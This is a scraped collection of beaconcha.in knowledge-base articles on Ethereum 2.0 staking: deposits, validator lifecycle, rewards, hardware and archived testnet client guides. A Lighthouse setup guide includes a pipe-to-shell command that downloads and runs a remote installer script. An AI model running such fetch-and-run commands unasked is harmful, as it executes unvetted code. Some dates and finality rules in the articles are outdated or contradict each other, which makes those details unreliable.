Mempool first, which can be referred to as the waiting room for transactions. During this period, the transaction status is pending . Depending on the chosen gas fee for the transaction, miners pick the ones that return them the most value first. If the network is highly congested (=many pending transactions), there's a high chance that new transactions will outbid(gas fees) older transactions, leading to unknown waiting times. 2. Deposit contract - Status: Deposited Once the transaction reaches the deposit contract, the deposit contract checks the transaction for its Input data and value. If the threshold of 1 ETH is not met or the transaction has no/invalid input data, the transaction will get rejected and returned to the sender. The user-created input data is a reflection of the upcoming validator and withdrawal keys on the Ethereum 2.0 network as seen in the picture below. The full Ethereum 2.0 keys blog is here . Why exactly does this take at least 13.6 hours? The Ethereum 2.0 chain only considers transactions which have been in the deposit contract for at least 2048 Ethereum 1.0 blocks to ensure they never end up in a reorged block. (= ETH1_FOLLOW_DISTANCE ) In addition to the 2048 Ethereum 1.0 blocks, 64 Ethereum 2.0 Epochs ****must be**** awaited before the beacon-chain recognises the deposit. During these 64 Epochs, validators vote on newly received deposits. However, missed block proposals or bad Ethereum 1.0 nodes, which provide the deposit logs to the Ethereum 2.0 network can cause longer waiting times. Therefore, run your own node ! 2048 blocks = 2048 x 12 seconds = 24,576 seconds = 409.6 minutes = ~6.82 hours 64 Epochs = 64 x 6.4 minutes = 409.6 minutes = ~6.82 hours Once the deposit is in the deposit contract, the state of the validator will switch to Deposited on the beaconcha.in explorer. Rejected Deposit Rejected Transaction 3. Validator Queue - Status: Pending The deposit is accessible now for the beacon-chain. Depending on the amount of total deposits, the validators have to wait in a queue. Eight validators per Epoch ( 1800 validators per day) can get activated. 4. Staking - Status: Active The validator is now actively staking. It is proposing blocks and signing attestations - ready to earn ETH! Other validator status Deposit Invalid The transaction had an invalid BLS signature. Active Offline An active validator has not been attesting for at least two epochs. Exiting Online The validator is online and currently exiting the network because either its balance dropped below 16ETH (forced exit) or the exit was requested (voluntary exit) by the validator. Exiting Offline The validator is offline and currently exiting the network because either its balance dropped below 16ETH or the exit was requested by the validator. Slashing Online The validator is online but was malicious and therefore forced to exit the network. Slashing Offline The validator is offline and was malicious and which lead to a forced to exit out of the network. The validator is currently in the exiting queue with a minimum of 25 minutes. Slashed The validator has been kicked out of the network. The funds will be withdrawable after 36 days. Exited The validator has exited the network. The funds will be withdrawable after 1 day. Previous The Genesis Event Next Attestation Last modified 5mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Glossary", - "html_url": "https://kb.beaconcha.in/glossary", - "body": "Glossary Beacon-chain It introduces Proof of stake to Ethereum1 and runs along it. Its also called the coordination layer. Roles : Assign validators their duties Finalize checkpoints Perform a protocol level random number generation (RNG) Progress the beacon chain Vote on the head of the chain for the fork choice source Slots 32 Slots = 1 Epoch A time period of 12 seconds in which a randomly chosen validator has time to propose a block. Each slot may or may not have a block in it. The total number of validators is split up in committees and one or more individual committees are responsible to attest to each slot. One validator from the committee will be chosen to be the aggregator, while the other 127 validators are attesting. After each Epoch, the validators are mixed and merged to new committees. There is a minimum of 128 validators per committee. image source Epoch 1 Epoch = 32 Slots Represents the number of 32 slots and takes approximately 6.4 minutes. Epochs play an important role when it comes to the validator queue and finality . Deposit contract The Deposit contract is the gateway to Ethereum 2.0 through a smart contract on Ethereum 1.0. The smart contract accepts any transaction with a minimum amount of 1 ETH and a valid input data. Ethereum 2.0 beacon-nodes listen to the deposit contract and use the input data to credit each validator. More infos the Deposit Contract Input Data The Input data, also called the deposit data , is a user generated, 842 long sequence of characters. It represents the validator public key and the withdrawal public key , which were signed with by the validator private key. The input data needs to be added to the transaction to the deposit contract in order to get identified by the beacon-chain . More infos about the Deposit process. Validator Validators need to deposit 32 ETH into the validator deposit contract on the Ethereum 1.0 chain. Validator operators have to run a validator node. Its job is to propose blocks and sign attestations. A validator has to be online for at least 50% of the time in order to have positive returns. Eligible for activation & Estimated activation Refers to pending validators. The deposit has been recognized by the ETH2 chain at the timestamp of Eligible for activation. If there is a queue of pending validators , an estimated timestamp for activation is calculated. Unique Index Every validator receives its unique index. beaconcha.in . Current Balance & Effective Balance The current balance is the amount of ETH held by the validator as of now. The effective Balance represents a value calculated by the current balance. It is used to determine the size of a reward or penalty a validator receives. The effective balance can **never be higher than 32 ETH. In order to increase the effective balance, the validator requires effective balance + 1.25 ETH.** In other words, if the effective balance is 20 ETH, a current balance of 21.25 ETH is required in order to have an effective balance of 21 ETH. The effective balance will adjust once it drops by 0.25 below the threshold as seen in the examples above. Here are examples on how the effective balance changes If the Current balance is 32.00 ETH the Effective balance is 32.00 ETH If the Current balance dropped from 22 ETH to 21.76 ETH Effective balance will be 22.00 ETH If the Current balance increases to 22.25 and the effective balance is 21 ETH, the effective balance will increase to 22 ETH Slasher The slasher is its own entity but requires a beacon-node to receive attestations . To find malicious activity by validators, the slashers iterates through all received attestations until a slashable offense has been found. Found slashings are broadcasted to the network and the next block proposer adds the proof to the block. The block proposer receives a reward for slashing the malicious validator. However, the whistleblower (=Slasher) does not receive a reward. Slashable offenses Attestation violation Double voting An attester signs two different attestations in one epoch. Surround votes An attester and sign an attestation that surrounds another one. Proposer violation Double block proposal A block proposer signs two different blocks for the same slot. Attestation Votes by validators which confirm the validity of a block. (=Attester) Block proposer A chosen validator by the beacon chain to propose the next block. There can only be one valid block per slot . Block status Proposed The block passed and was proposed by a validator. Scheduled Validators are currently submitting data. Missed/Skipped The proposer didnt propose the block within the given time frame, so the block was missed/skipped. Orphaned In order to understand this, let us look at the diagram below \"1, 2, 3, ... ,9\" represent the slots. 1. Validator at slot 1 proposes the block a. 2. Validator at slot 2 proposes b. 3. Slot 4 is being skipped because the validator didnt propose a block (e.g.: offline). 4. At slot 5/6 a fork occurs: Validator(5) proposes a block, but validator(6) doesnt receive this data (e.g.: the block didnt reach them fast enough). Therefore Validator(6) proposes its block with the most recent information it sees from validator(3). 5. The fork choice rule is the key here - It decides which of the available chains is the canonical one. Validator Lifecycle 1. Deposited 32 ETH has been deposited to the ETH1 deposit-contract and this state will be kept for around 7 hours. This offers security in case the ETH1 chain gets attacked. 2. Pending Waiting for activation on ETH2 Before validators enter the validator queue, they need to be voted in by other active validators. This occurs every 4 hours. Until 327680 active validators in the network, 4 validators can be activated per epoch. For every 65536 (=4 * 16384) active validator, the validator activation rate goes up by one. 5 validators per epoch requires 327680 active validators which translates to 1125 validators per day. 6 validators per epoch requires 393216 active validators which translates to 1350 validators per day. 7 validators per epoch requires 458752 active validators which translates to 1575 validators per day. 8 validators per epoch requires 524288 active validators which translates to 1800 validators per day. 9 validators per epoch requires 589824 active validators which translates to 2025 validators per day. 10 validators per epoch requires 655360 active validators which translates to 2200 validators per day. Amount of activations scales with the amount of active validators and the limit is the active validator set divided by 64.000 3. Active Validator Currently attesting and proposing blocks (=block proposer) . The validator will stay active until: its balance drops below 16 ETH (ejected). voluntary exit it gets slashed 4. Slashing Validator The Validator has been malicious and will be slashed and kicked out of the system A Penalty is a negative reward (e.g. for going offline). A Slashing is a large penalty ( 1/32 of balance at stake**)** and a forceful exit ... . - Justin Drake 5. Exiting Validator Ejected The validator balance fell below a threshold and was kicked out by the network Exited Voluntary exit, the withdrawal key holder has the ability to withdraw the current balance of the corresponding validator balance. Finalization In Ethereum 2.0 at least two third of the validators have to be honest , therefore if there are two competing Epochs and one third of the validators decide to be malicious, they will receive a penalty. Honest ones will be rewarded. In order to determine if an Epoch has been finalized, validators have to agree on the latest two epochs in a row (= justified) then all previous Epochs can be considered as finalized. Finality issues If there are less than 66.6% votes (=participation rate) in a specific epoch, the epoch cannot be justified. As mentioned in \" Finalization \", three justified epochs in a row are required to reach finality. As long as the chain cannot reach this state it has finality issues. During finality issues the validator (entry) queue will be halted and new validators will not be able to join the network, however, inactive validators with less than <16ETH balance will be kicked out of the network. This leads to more stability in the network and higher participation rate. Previous Overview Next Staking & Hardware Last modified 1yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Port Forwarding", - "html_url": "https://kb.beaconcha.in/port-forwarding", - "body": "Port Forwarding Simplified overview on how Port Forwarding works and why it is important for staking. Tbd Let's consider the following scenario You are running a validator on a local machine and use Geth as your Ethereum 1.0 node and Prysm for your Ethereum 2.0 setup. Previous Staking & Hardware Next Ethereum 2.0 Keys Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Rewards and Penalties", - "html_url": "https://kb.beaconcha.in/rewards-and-penalties", - "body": "Rewards and Penalties The journey of a validator balance A simplified overview of the most common validator rewards and penalties. Epoch A validator can propose one attestation and one block per epoch and depending on their properties the reward varies. Attestation reward Rewards and penalties are based on the correctness of Source Head Target Head, Source, target, can be either positive or negative, however the inclusion delay can just be positive. The Source has to be correct in order to get included. Base Reward The worst inclusion speed reward is base_reward * 1/32 * 7/8 with an inclusion distance of 32 and the best is base_reward * 1/1 * 7/8 with an inclusion distance of 1. Possible Attestation properties Common case scenarios Assumption: The participation rate is 100% 1. You vote correctly and gets included in the next slot: you get 31/8*base_reward 2. You miss head because you got a late block and it gets included in the next slot: 15/8*base_reward 3. You miss head and target cause you got late a block, you get -1/8* base_reward 4. You attest and vote correctly, but the next block is missed, you get 55/16 * base_reward 5. You attest correctly and get perfect inclusion distance, but you attested on a block that most people got late as in 2., you get ~7/8 * base_reward The last one is the most confusing one: When there is a late block where validators miss the head, the validator that misses the head earns more than the validator that votes correctly, as in 2. 15/8 > 7/8 Best possible reward 31/8 * base_reward Worst possible reward with an included attestation (\"Negative Reward\") -249/256 * base_reward Block reward Only valid attestations (correct source) can be included in a block and the rewards for a block proposal scale with the amount of included attestations . Theoretically, block proposers could include aggregated attestations from a parent block, but there is incentive to do so. Each included attestation in a block will be rewarded (if it is the first time that is included in a block) with base_reward/8 where 8 is the Proposer_Reward_Quotient There is no penalty for not proposing a block. A block proposer which includes slashing will be rewarded with the slashed_validators_effective_balance / 512 where 512 is the Whistleblower_reward_quotient Sources https://consensys.net/blog/codefi/rewards-and-penalties-on-ethereum-20-phase-0/ https://benjaminion.xyz/eth2-annotated-spec/phase0/beacon-chain/ Previous Attestation Next - Beaconcha.in Explorer Mobile App <> Node Monitoring Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Staking & Hardware", - "html_url": "https://kb.beaconcha.in/staking-and-hardware", - "body": "Staking & Hardware General The ideal set up, and best practice is to have a dedicated computer for staking. Try to limit additional processes running on your staking box. Especially if it is something that is connecting to the outside world. Use Linux! It's easy, I promise. For the foreseeable future Linux will receive better support from the client teams. It is light weight, stable, secure, and it doesn't force you to restart for updates every other day. You are locking up at least 32 ETH ($80,000 in Aug 2021) in this endeavour, until the Eth2 mainnet merge (expected Q1 2021). No one knows how much that ETH will be worth during that time period, but it makes sense to buy some good hardware to secure it. A battery back up is strongly recommended! Plug your modem and router in to it also. My ISP has generators to support emergency services communications, meaning the internet continues to work during a power outage as long as my equipment is powered. Your ISP may be the same. Raspberry Pi 4 4gb Price : $84.80 (including case, power supply, SD card, and heat sinks) Performance : While running a node and validator on a Raspberry Pi 4 seems doable now, there needs to be further testing done to ensure it can keep up when the beacon chain is struggling. Power Usage : Approximately 8 watts. This would cost about 76 cents a month to run at 13c/kWh. My opinion : I would not recommend purchasing a RPI4 for staking until further testing is done to confirm it is powerful enough to keep up with the beacon chain in a rough seas situation. Even if it were fast enough, I still cant help but feel that you would be better off with a, for lack of a better term real computer. Old laptop/desktop Price : Free! Well, kind of anyways. CPU : Going by Prysmatic 's recommended minimum requirement of an Intel i5-760 , a CPU with a passmark score above 2500 is necessary. However, their recommended specs include a CPU that scores 7075 . For staking on main net, I would strongly recommend a CPU that is at least in the 5000s or better . My staking computer scores 8290, and it sits at 30-40% usage consistently, with spikes to 100 on occasion. Memory : Unless you go with an extremely bare bones OS, 8gb is the minimum RAM I would recommend, and if you want to run some toys like Prometheus & Grafana to create a dashboard for monitoring, 16gb of ram would be a much better option . My staking machine typically sits at about 7.5-7.9gb used total which is too close for comfort to 8gb in my opinion. Storage : An SSD is required. Pretty much any SSD should work fine. Buying one with a high terabytes written spec will help with longevity. Caveats : Stability and uptime are essential to maximize your profits. If you are using an older desktop consider replacing the PSU and the fans. Buying a titanium or platinum rated PSU will help save on the monthly power bill as well. If you are planning on staking with an older laptop, consider that they have reduced capacity to deal with heat due to their form factor, and in rare cases, running while plugged in 24/7 can cause issues with the battery . If you do choose to stake with a laptop, I would recommend using one that far exceeds the CPU requirements as running a laptop at nearly full load 24/7 is not advisable. You will probably be fine, but generally speaking laptops are not designed with that in mind. New laptop If you are buying brand new, I do not see any value in paying the price premium for a portable form factor, screen, keyboard, and trackpad. Once you get your staking machine set up, you do not need any of these features, you can just remote into the staking machine from your daily driver computer. The low profile form factor will actually be a downside when taking thermal performance in to account. Laptops typically do not include an ethernet port now, which means you will be relying on wifi. Wifi is very reliable now, but you can't beat the simplicity and reliability of a cable. New prebuilt desktop Price: Probably $400-600. There are likely better deals out there than the one linked above. Performance: This will reliably and competently run nearly any amount of validator accounts. The CPU scores 6250 on passmark. It has a 512gb NVMe SSD, and 16gb of ram. Any other prebuilt desktop with similar specs will work just as well. Power Usage: Probably around 30 watts. That is $2.85 per month at 13c/kWh. My opinion: This is a great option. Also, it is 11\" x 10\" x 4\". Much smaller than the old fashioned desktop cases, and ATX mid tower cases most of us are probably familiar with. Custom built desktop I won't go too in-depth here because this is essentially the same as using a prebuilt desktop. However, building your own gives you the option of choosing a case you like the look of, and buying higher quality parts, and you know you aren't getting any weird proprietary parts that will be difficult to replace should they ever fail. Unfortunately with prebuilt's concessions are sometimes made with components like the PSU to assuage the accountants and boost margins. **** NUC / Mini PC / DApp Node **** Price: $678. Performance : The linked one weighs in at a mighty 8394 passmark score and has 16gb of ram and a 512gb SSD. Power usage: 20-25ish watts. Around $2 a month. My opinion: NUCs are super cute, and their small form factor gives them a very high wife approval factor. Unfortunately that does come with a bit of a price premium. I'm going to argue that you should buy a server below, but honestly this is probably a more realistic option for most people. Server One option , or a more modern option . You really need to look around for deals when it comes to this. Usedservers.com charges a premium for the convenience and customisation they offer. If you search through eBay, or even better your local classifieds you can often find some gear that someone paid a large pile of money to get for a few hundred bucks. Performance : Generally speaking, no matter what you buy, performance will not be an issue. The two options I linked above can be specced to the cheapest of what they offer and it will still be overkill. Power Usage: It's bad. My server runs around 100 watts, but it is pretty modern. If you get an older one, expect to be up around 150 watts. That's $10-14 a month. My opinion: This is my favourite option. Enterprise servers are jam packed with features, and are specifically designed to do exactly what we are trying to do. Run 24/7/365. They have redundant power supplies in case one breaks, they often have 2 CPUs, so in the unlikely event of one going bad, you can pop it out and restart with just one. They have built in RAID cards so you can have redundant storage. They have hot swappable drive trays, so if one of your drives goes bad, you don't even need to shut down. All of the components are high quality and built to last. You also get monitoring and maintenance tools that are not included in consumer gear like iDRAC and iLo. That's where that power usage graph I linked above came from. Neat right? I wouldn't necessarily recommend this option to someone running 1 validator , but if you are running several, the few extra dollars of overhead every month is worth the reliability and performance in my opinion. Avado It's a NUC, but expensive. The most expensive one at 1100 USD only rates in at 3349 on passmark. They have their own OS which might have a really great UX, I don't know, but it likely is not worth the price of admission. Dappnode is another option if you are looking for a custom built OS with an easy UX. Virtual Private Server Price: Anywhere from $20-40 a month. Performance: You can buy as much as you can afford. My opinion: If you live somewhere that is prone to natural disaster or has an unstable power grid or internet connection but still want to stake, this is a good option. If you do have stable power or internet, running your own hardware will be a cheaper and more profitable solution long term. You need to evaluate the pros/cons of this for your own situation. Remember that if one of the VPS providers goes down, it will mean all of the people using that VPS service to host will also go down, and the inactivity penalties will be much larger than if you have uncorrelated down time yourself. Source , written by Lamboshi Previous Glossary Next Port Forwarding Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "The Genesis Event", - "html_url": "https://kb.beaconcha.in/the-genesis-event", - "body": "The Genesis Event A visualisation of the Genesis Event on Ethereum 2.0 Keywords Deposit contract Seconds_Per_Eth1_Block = 14 seconds Eth1_Follow_Distance = 2048 blocks * 14 seconds Min_Genesis_Time = 1606824000 (12:00:00 pm UTC | Tuesday, December 1, 2020) Min_Genesis_Active_Validator_Count = 16,384 Genesis_Delay = 7 days Ethereum 2.0 Beacon-chain Genesis Event Conditions There are two conditions which have to get triggered to get the Ethereum 2.0 chain started! 1. The threshold of 16,384 validators needs to be hit 2. The ETH1 block (=Trigger block) which determines the genesis time for ETH2 cannot be earlier than min_genesis_time. Trigger ETH1 block = min_genesis_time - genesis_delay Scenario One The required amount of deposits ( Min_Genesis_Active_Validator_Count) to fulfil the first condition occurs very quickly once the deposit contract has been deployed and before min_genesis_time . Once the threshold of 16,384 deposits is met, the network will try to accomplish the second condition by trying to find the trigger block by calculating min_genesis_time - genesis_delay. The goal of the trigger block (min_genesis_time - genesis_delay) is that the chain can never start earlier than min_genesis_time . The second scenario will make this clearer. Scenario Two The required amount of deposits ( Min_Genesis_Active_Validator_Count) to fulfil the first condition occurs after min_genesis_time. In this case, the second condition is met first and the trigger block becomes whatever min_genesis_time was set. The trigger block (second condition) is achieved right after the deposit contract receives 16,384 validator deposits. Genesis time becomes Trigger-block-timestamp + genesis_delay . Sources: Ethereum 2.0 Spec The Genesis of a Beacon Chain Previous Ethereum 2.0 Keys Next Deposit Process Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Beacon Fuzzer", - "html_url": "https://kb.beaconcha.in/archive/beacon-fuzzer", - "body": "Beacon Fuzzer Use Sigma Prime's Beacon Fuzzer to automatically find bugs. Here are the articles in this section: Fuzzing on Windows Fuzzing on macOS Archive - Previous Medalla Testnet: Lighthouse Client - macOS Next Fuzzing on Windows Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Medalla Testnet: Lighthouse Client - macOS", - "html_url": "https://kb.beaconcha.in/archive/beaconnode-and-validator-with-macos", - "body": "Medalla Testnet: Lighthouse Client - macOS Altona Testnet Official Lighthouse docs Lighthouse Discord server Requirements: A synced Goerli node ( Guide till step 3.) 1. Step Installing Rust Open a terminal window and paste the following in: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh \"Current installation options\" Press \"1\" and confirm with Enter. \"Next time you log in this will be done automatically\" Close this terminal window and open a new one. 2. Downloading and building Lighthouse git clone https://github.com/sigp/lighthouse.git cd lighthouse and then run make Wait a few minutes Once the process is done it will look like the following 3. Find the binary file Open Finder and head over to ~/.cargo/bin/ Copy the Lighthouse file to a more convenient folder. 4. Start the beaconnode Make sure the goerli node (ETH1) is running as mentioned in the requirements . Drag and drop the Lighthouse file and add --testnet medalla beacon --eth1 --http --graffiti \"beaconcha.in<3\" 5. Create ETH2 Wallet Lighthouse allows you to create an ETH2 wallet and attach your validator keys. Open a new Terminal window, drag and drop the Lighthouse file and add account wallet create --name my-validators --passphrase-file my-validators.pass The 12 word mnemonic phrase can restore the ETH2 wallet - write the words down. The wallet is located in $HOME/lighthouse 6. Create ETH2 Keys Use the same Terminal window, drag and drop the Lighthouse file and add lighthouse account validator create --wallet-name my-validators --wallet-passphrase my-validators.pass --count 1 7. Depositing to Ethereum 2.0 First, find the deposit data of the newly created ETH2 Key , which is located in .lighthouse/validators/ There are two lighthouse folders, .lighthouse is a hidden folder. Enable hidden folders with CMD + Shift + . Open the eth1-deposit-data.rlp file with a text editor. Copy the 842 long text sequence and follow these steps . Medalla Deposit contract address: 0x07b39F4fDE4A38bACe212b546dAc87C58DfE3fDC The deposit will be recognised by the beacon-chain in 8.5 hours. 8. Starting the validator Open a new terminal window, drag and drop the Lighthouse file and add validator --auto-register In total there are three terminal windows running simultaneously! Track your validator performance. Archive - Previous Run a Goerli node (ETH1) & beaconnode (ETH2) Next - Archive Beacon Fuzzer Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Depositing to Ethereum 2.0", - "html_url": "https://kb.beaconcha.in/archive/depositing-to-ethereum-2.0", - "body": "Depositing to Ethereum 2.0 Warning The following steps occur on a Ethereum Testnet with Goerli Testnet-ETH and might be outdated for the Ethereum main-net launch. Requirements There are multiple wallets and possibilities, however, let's demonstrate the most common way for the average user. MyCrypto Prysm Client to create Ethereum 2.0 keys ( macOS or Windows ) at least 32 Goerli Testnet ETH (ask on Discord ) Create ETH 2.0 K eys For demonstration purposes the Prysm Client will be used to create Ethereum 2.0 keys, any other Ethereum 2.0 client would work as well. Create your own keys - on macOS or Windows with the prysm client Key generation These 842 characters are the Ethereum 2.0 validator identity . 0x22895118000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000120afd078c8e46733de1c116df653afef908cc7a809009b375ffab943f495974a700000000000000000000000000000000000000000000000000000000000000030a10010049908f68bdf86baaae2c4e1df7456f11f1f0124c25ebeeb7541ac34d6562782694d316c7a912259e2d7b4e59000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000040231464d41e1c646c708bd84fe5fd4dcc6fa2f4d9bfdfa64f40c974618c80000000000000000000000000000000000000000000000000000000000000060a4884293664737cb4860033c0150b91915ccbc9ab1337eae5b4ec70f38cddc64d2db5a450ccd667ae9ab7d0f2ae35cd40c97e3a086e57f77a489b7d73e0ad9532134906671a086dd369bd3e10b52cbc648bf352ee18aea6c7ec2fec11053aaa00x22895118000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000120afd078c8e46733de1c116df653afef908cc7a809009b375ffab943f495974a700000000000000000000000000000000000000000000000000000000000000030a10010049908f68bdf86baaae2c4e1df7456f11f1f0124c25ebeeb7541ac34d6562782694d316c7a912259e2d7b4e59000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000040231464d41e1c646c708bd84fe5fd4dcc6fa2f4d9bfdfa64f40c974618c80000000000000000000000000000000000000000000000000000000000000060a4884293664737cb4860033c0150b91915ccbc9ab1337eae5b4ec70f38cddc64d2db5a450ccd667ae9ab7d0f2ae35cd40c97e3a086e57f77a489b7d73e0ad9532134906671a086dd369bd3e10b52cbc648bf352ee18aea6c7ec2fec11053aaa0 These letters, the input data , have to be included into the transaction to the deposit contract. Depositing 1. Open MyCrypto and open your wallet and head over to Send Assets . 2. Advanced options Paste the 842 letters into the Data field 0x22895118000000000000000000... . 3. Recipient is the deposit contract Medalla Testnet : 0x07b39F4fDE4A38bACe212b546dAc87C58DfE3fDC 4. Amount Minimum of 1 ETH 5. Gas Limit 500,000 6. Send transaction 7. Track your deposit on the beaconcha.in explorer with your Ethereum 1.0 address Transaction Overview Guides - Previous Pyrmont Testnet: Prysm Client - Windows Next - Archive Run a Goerli node (ETH1) & beaconnode (ETH2) Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Run a Goerli node (ETH1) & beaconnode (ETH2)", - "html_url": "https://kb.beaconcha.in/archive/eth1-infura", - "body": "Run a Goerli node (ETH1) & beaconnode (ETH2) Run your own ETH1 and connect it to ETH2 General Ethereum 2.0 Testnets have been running for some time, and because the existing Ethereum 2.0 clients have always provided an Ethereum 1.0 node to users, misunderstandings arose. In order to run a validator, an Ethereum 1.0 node must run parallel to Ethereum 2.0 to stay fully decentralized! However, an Ethereum 1.0 node is not required if you do not want to stake. Without an Ethereum 1.0 node syncing Ethereum 2.0 blocks is still possible and also being a reliable peer for others in the network. Goerli-chain size is around 5GB. Connect to your local ETH1 node Step 1. Download Geth Step 2. Find the downloaded file and open a command prompt/terminal window Step 3. Syncing Goerli Drag and drop the geth file into the terminal window and add the following --goerli --datadir=\"$HOME/Goerli\" --rpc --rpcaddr=127.0.0.1 --rpcport=8545 The syncing-process takes about 30 minutes. Wait for this to complete. Once your Goerli node is synced, it should look like this and include the message: Imported new chain segment Step 4. Connect your beaconnode (ETH2) to Goerli (ETH1) While Goerli is in sync , drag and drop the prysm.sh (macos) /prysm.bat (windows) into the terminal window file and add: beacon-chain --datadir=$HOME/prysm --web3provider=ws://localhost:8546/ --http-web3provider=http://localhost:8545/ --datadir=$HOME/prysm Please adapt the path above to your existing beaconchain.db file. For simplicity reasons we will use $HOME/prysm. If the beaconnode successfully connects to the local Goerli node, the following message will appear Essential commands Goerli --goerli --datadir=\"$HOME/Goerli\" --rpc --rpcaddr=127.0.0.1 --rpcport=8545 --ws --wsaddr=127.0.0.1 --wsport=8546 Beaconnode --datadir=$HOME/prysm --web3provider=ws://localhost:8546/ --http-web3provider=http://localhost:8545/ Infura as an ETH 1.0 node 1. Sign up on Infura 2. Create a project with any name 3. Change Endpoints: Mainnet to Goerli That's it! Copy your Project ID URL and run the beacon-node with ./prysm.sh beacon-chain --http-web3provider= https://goerli.infura.io/v3/YOUR-PROJECT-ID Confirmation via beacon-node Archive - Previous Depositing to Ethereum 2.0 Next - Archive Medalla Testnet: Lighthouse Client - macOS Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "OUTDATED: Prysm Client Guides", - "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows", - "body": "OUTDATED: Prysm Client Guides Here are the articles in this section: Essential commands (macOS & Windows) macOS Prysm Client - Windows Previous Fuzzing on macOS Next Essential commands (macOS & Windows) Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "beaconcha.in notifications", - "html_url": "https://kb.beaconcha.in/beaconcha.in-explorer/beaconcha.in-notifications", - "body": "beaconcha.in notifications This article provides a tutorial on setting up and debugging notifications using beaconcha.in's web and mobile platforms. It's worth noting that the current notification center will undergo an upgrade in late 2023 to upgrade its user-friendliness. Enabling notifications via web 1. Head over to https://beaconcha.in/user/notifications and log in with your e-mail address. 2. Click on \"Notifications Channels\" and make sure the desired channels are active 3. Scroll down to the Validators table and add your validators. Once added you can select all and bulk edit the notifications by clicking Manage selected . 4. Enable the desired notification(s) and press Save . 5. Verify that the subscriptions are enabled 6. If a notification was triggered it will show up in the Most recent column 7. Done! You may have noticed that the Notification Center allows you to configure Push notifications for the mobile app. This is crucial since some users may not receive any push notifications if it is disabled. Mobile app 1. Download the app for iOS and Android here https://beaconcha.in/mobile 2. Create an account and log in with your e-mail address Note : If you added validators to your Notification center through https://beaconcha.in/user/notifications they will not appear in your mobile app automatically. If push notifications were enabled in the web notification center, the mobile app push the notifications through even if the validators are not visible in your app. This UX issue will be part of the improvements later this year. 3. Add validators to your mobile app dashboard 4. Head over to the settings and enable the desired notifications 5. Click the \"Sync\" button in the Validator section 6. Done! Verify that the notifications were added successfully by logging in at https://beaconcha.in/user/notifications and scrolling to the Validator table at the bottom of the page You may have noticed that the Notification Center allows you to configure Push notifications for the mobile app. This is crucial since some users may not receive any push notifications if it is disabled. Webhooks 1. Follow the steps as described above in \" Enabling notifications via web\" . 2. Double-check that webhooks are enabled 3. Add a webhook via https://beaconcha.in/user/webhooks 4. Enable the same notification types as on the notification center and enable \"discord\" if the notifications should be sent to a discord channel 5. Done Beaconcha.in Explorer - Previous Mobile App <> Node Monitoring Next - Beaconcha.in Explorer Block view Last modified 5mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Beaconcha.in Charts", - "html_url": "https://kb.beaconcha.in/beaconcha.in-explorer/eth2-charts", - "body": "Beaconcha.in Charts Overview of all charts Blocks Displays all the proposed, missed or oprhaned Blocks for a specific period of time. Validators Displays the amount of validators for each timestamp. Staked Ether Displays the total amount of staked Ether ( effective balance) . Validator Balance Displays the current average validator balance of all validators. Network Liveness Displays how far the last finalized Epoch compared to the Head Epoch took place. A minimum of two epochs is caused by how finalization works. The network is undergoing finality issues if the network liveness is more than two epochs. Participation Rate Displays the participation of validators in the chosen time period. Calculation: Participation rate = (number of attestations in last epoch) / (number of attesting validators) Average daily validator income Displays the average income of all validators per day starting off at the genisis block . Staking Rewards Displays the sum of all staking rewards and punishments of all validators on a specific day. Example in the picture below: 1471.15 ETH have been lost on Februar 7th. Stake Effectiveness Displays the measurement of the relation between effective balance validator and current balance validator of all validators . 100% means that the total locked ETH is actively being staked. Due to the fact that the effective balance cannot increase more than 32, but the current balance can , the Stake effectiveness decreases. Balance Distribution Displays the distribution of current balances of all validators for the current epoch. Example in the picture below: 5404 validators at 3.28ETH . Effective Balance Distribution Displays the distribution of effective balances of all validators . Example in the picture below: 2200 at have an effective balance of 3ETH. Income Distribution of the last 365 Days Displays the income distribution of all validators of the last 365 days. Example in the picture below: 38 validators have gained 0.020360794 ETH. Deposits Displays the amount of ETH deposited to ETH1 ( Success ), and how many of those transactions failed because of an invalid BLS signature (ETH1 failed) . ETH2 represents the successful deposits after their waiting time of ~7.5 hours . Beaconcha.in Explorer - Previous Block view Next - Beaconcha.in Explorer Optimal Inclusion Distance Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Block view", - "html_url": "https://kb.beaconcha.in/beaconcha.in-explorer/ethereum-2.0-blocks", - "body": "Block view Blocks 'n' roots This post is going to lay out data, Ethereum 2.0 explorers such as beaconcha.in visualise Overview Epoch , Slot , Status , Proposer are covered in the glossary Block root The hash-tree-root of the BeaconBlock . State root The hash-tree-root of the BeaconState . Signature The BLS signature obtained by using the BeaconState, BeaconBlock and private key. def get_block_signature(state: BeaconState, block: BeaconBlock, privkey: int) -> BLSSignature Randao Reveal TODO Grafitti A block proposer can include 32 byte long message to its block proposal. Eth 1 Data Received Eth1 Block headers and Deposit data Block Hash: The Hash of the received Eth1 Block. Deposit Count: Amount of validator deposits to the deposit contract in this block. Deposit Root: The root of the merkle tree of deposits. Attestations Amount of attestations included in this block by the block proposer. Deposits Amount of validator deposits which have been included in this block by the block proposer Voluntary Exits Amount of voluntary Exits which have been included in this block by the block proposer. Slashings Amount of slashings which have been included in this block by the block proposer. Votes Represents the total amount of votes in a specific block. In the example below there were 128 attestations. These attestations received a total of 2802 votes. The aggregation bit is an additional way of representing the votes. Attestations Slot Is the slot number to which the validator is attesting. The slot number points to the same block as the beacon-block-root. Committee Index Every epoch the total number of validators is split up in committees and one or more individual committees are 